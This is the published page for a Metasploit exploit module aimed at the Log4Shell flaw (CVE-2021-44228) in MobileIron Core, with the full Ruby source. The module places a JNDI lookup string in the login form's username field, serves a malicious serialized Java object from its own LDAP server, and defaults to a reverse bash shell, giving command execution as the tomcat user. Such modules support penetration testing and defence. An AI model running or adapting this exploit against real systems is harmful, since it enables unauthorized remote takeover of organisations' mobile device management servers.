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MobileIron Log4Shell Remote Command Execution

MobileIron Log4Shell Remote Command Execution
Posted Aug 3, 2022
Authored by Spencer McIntyre, RageLtMan, jbaines-r7, rwincey | Site metasploit.com

MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the tomcat user. This Metasploit module will start an LDAP server that the target will need to connect to.

tags | exploit, java
advisories | CVE-2021-44228
SHA-256 | d15ef16680da0566fc6f0cd17aa36d661420fd2c8fbf3f002025e66fc8acc462

MobileIron Log4Shell Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Log4Shell
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(_info = {})
super(
'Name' => 'MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)',
'Description' => %q{
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the tomcat user.

This module will start an LDAP server that the target will need to connect to.
},
'Author' => [
'Spencer McIntyre', # JNDI/LDAP lib stuff
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
'rwincey', # discovered log4shell vector in MobileIron
'jbaines-r7' # wrote this module
],
'References' => [
[ 'CVE', '2021-44228' ],
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US' ],
[ 'URL', 'https://www.mandiant.com/resources/mobileiron-log4shell-exploitation' ]
],
'DisclosureDate' => '2021-12-12',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'SRVPORT' => 389,
'WfsDelay' => 30
},
'Targets' => [
[
'Linux', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
'RelatedModules' => [
'auxiliary/scanner/http/log4shell_scanner',
'exploit/multi/http/log4shell_header_injection'
]
}
)
register_options([
OptString.new('TARGETURI', [ true, 'Base path', '/'])
])
end

def wait_until(&block)
datastore['WfsDelay'].times do
break if block.call

sleep(1)
end
end

def check
validate_configuration!

vprint_status('Attempting to trigger the jndi callback...')

start_service
res = trigger
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

wait_until { @search_received }
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
ensure
cleanup_service
end

def build_ldap_search_response_payload
return [] if @search_received

@search_received = true

return [] unless @exploiting

print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('CommonsBeanutils1')
end

def trigger
@search_received = false

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mifs', 'j_spring_security_check'),
'headers' => {
'Referer' => "https://#{rhost}#{normalize_uri(target_uri, 'mifs', 'user', 'login.jsp')}"
},
'encode' => false,
'vars_post' => {
'j_username' => log4j_jndi_string,
'j_password' => Rex::Text.rand_text_alphanumeric(8),
'logincontext' => 'employee'
}
)
end

def exploit
validate_configuration!
@exploiting = true
start_service
res = trigger
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way') unless res.code == 302

wait_until { @search_received && (!handler_enabled? || session_created?) }
handler
end
end
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